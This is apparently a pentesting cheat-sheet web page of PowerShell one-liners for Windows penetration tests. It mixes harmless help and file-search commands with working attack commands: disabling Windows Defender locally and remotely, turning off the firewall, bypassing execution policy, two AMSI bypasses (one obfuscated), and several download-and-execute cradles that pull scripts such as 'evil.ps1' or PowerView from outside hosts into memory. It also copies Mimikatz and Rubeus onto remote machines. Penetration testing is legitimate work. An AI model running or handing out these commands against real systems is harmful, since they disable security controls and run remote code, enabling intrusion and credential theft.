Pentesting.Site - PowerShell

Common PowerShell commands and one-liners used during Windows penetration tests.

Here are some useful PowerShell commands that can help you in your penetration tests.

PowerShell Help

You may need to run Update-Help in PowerShell for the Get-Help command to work.

1
Get-Help Get-Item -Full       # Lists help about the Get-Item cmdlet
2
Get-Help Get-Item -Examples   # Gives examples of Get-Item usage

View current logged-in users’ privileges

1
whoami /priv

Check the name of the logged-in user

1
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name

List all cmdlets

1
Get-Command -CommandType Cmdlet

Bypass Execution Policy

1
powershell -ExecutionPolicy bypass
2
powershell -c <cmd>
3
powershell -encodedcommand
4
$env:PSExecutionPolicyPreference="bypass"

Import Modules

1
Import-Module <modulepath>
2
Get-Command -Module <modulename>   # lists all commands in a module

List all functions

1
ls function:

Search for files

1
gci -Recurse -File example.txt
2
gci -Recurse -File *.txt

Check language mode (Either see full or constrained)

1
$ExecutionContext.SessionState.LanguageMode
2
Invoke-Command -ScriptBlock {$ExecutionContext.SessionState.LanguageMode} -ComputerName adminsrv   # List language mode on remote PC

Disable Windows Defender Real-Time Monitoring

1
Set-MpPreference -DisableRealtimeMonitoring $true   # Must be admin
2
Set-MpPreference -DisableIOAVProtection $true        # Must be admin

Disable Windows Defender on a remote system

1
$sess = New-PSSession -ComputerName computer.local
2
$sess
3
Invoke-Command -ScriptBlock{Set-MpPreference -DisableRealtimeMonitoring $true} -Session $sess

Disable Windows Firewall

1
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False   # Must be admin

View the list of cached keys on the machine

1
klist
2
klist purge   # Delete cached keys

Save output to file

1
Out-File -FilePath C:\test.txt
2
Tee-Object -file C:\test.txt   # This displays the output on console and saves to file (like Tee on Linux)

If PowerShell.exe is blocked, .NET code can use System.Management.Automation NameSpace to load PowerShell functionality

https://github.com/api0cradle/UltimateAppLockerByPassList

https://github.com/api0cradle/LOLBAS

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319>msbuild.exe pshell.xml

Run a program as a user (If you have credentials)

1
runas /netonly /User:ServiceAccount "powershell.exe"
2
Enter the password for ServiceAccount

AMSI Bypass

AMSI can be bypassed for the current session without admin rights by setting the amsiInitFailed of System.Management.Automation.AmsiUtils to true

1
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

One line AMSI bypass from Matt Graeber

1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Download and execute script in memory

1
iex (iwr http://172.1.1.1/PowerView.ps1)
2
iex (iwr http://172.1.1.1/PowerView.ps1 -UseBasicParsing)   # If you get Internet Explorer errors

Download execute cradles

1
iex (New-Object Net.WebClient) .DownloadString('https://webserver/payload/ps1')
2
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.1.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

PSv3 onwards

1
iex (iwr 'http://192.1.1.1/evil.ps1')
2
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.1.1/evil.ps1',$false);$h.send();iex $h.response.Text
3
$wr = [System.NET.WebRequest]::Create("http://192.168.1.1/evil.ps1")
4
$r = $wr.GetResponse()
5
IEX([System.IO.StreamREader]($r.GetResponseStream())).ReadToEnd()

Check AppLocker policy

1
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Copy files to the remote machine

1
Copy-Item .\Invoke-MimikatzEx.ps1 \\computer.local\c$\'Program Files'

Copy file to remote machine over PSSession

1
Copy-Item -ToSession $appsrvSess -Path .\Rubeus.exe -Destination c:\Users\appadmin\Downloads

Grep equivalent for PowerShell

1
type .\Valid.txt | Select-String -SimpleMatch "Valid"

Get the IP addresses of Hyper-V machines running

1
Get-VM -Name "VMName" | Select-Object -ExpandProperty NetworkAdapters | Select-Object VMName, IPAddresses
2
Get-VM | ? {$_.State -eq "Running"} | select -ExpandProperty networkadapters | select vmname, macaddress, switchname, ipaddresses | ft -wrap -autosize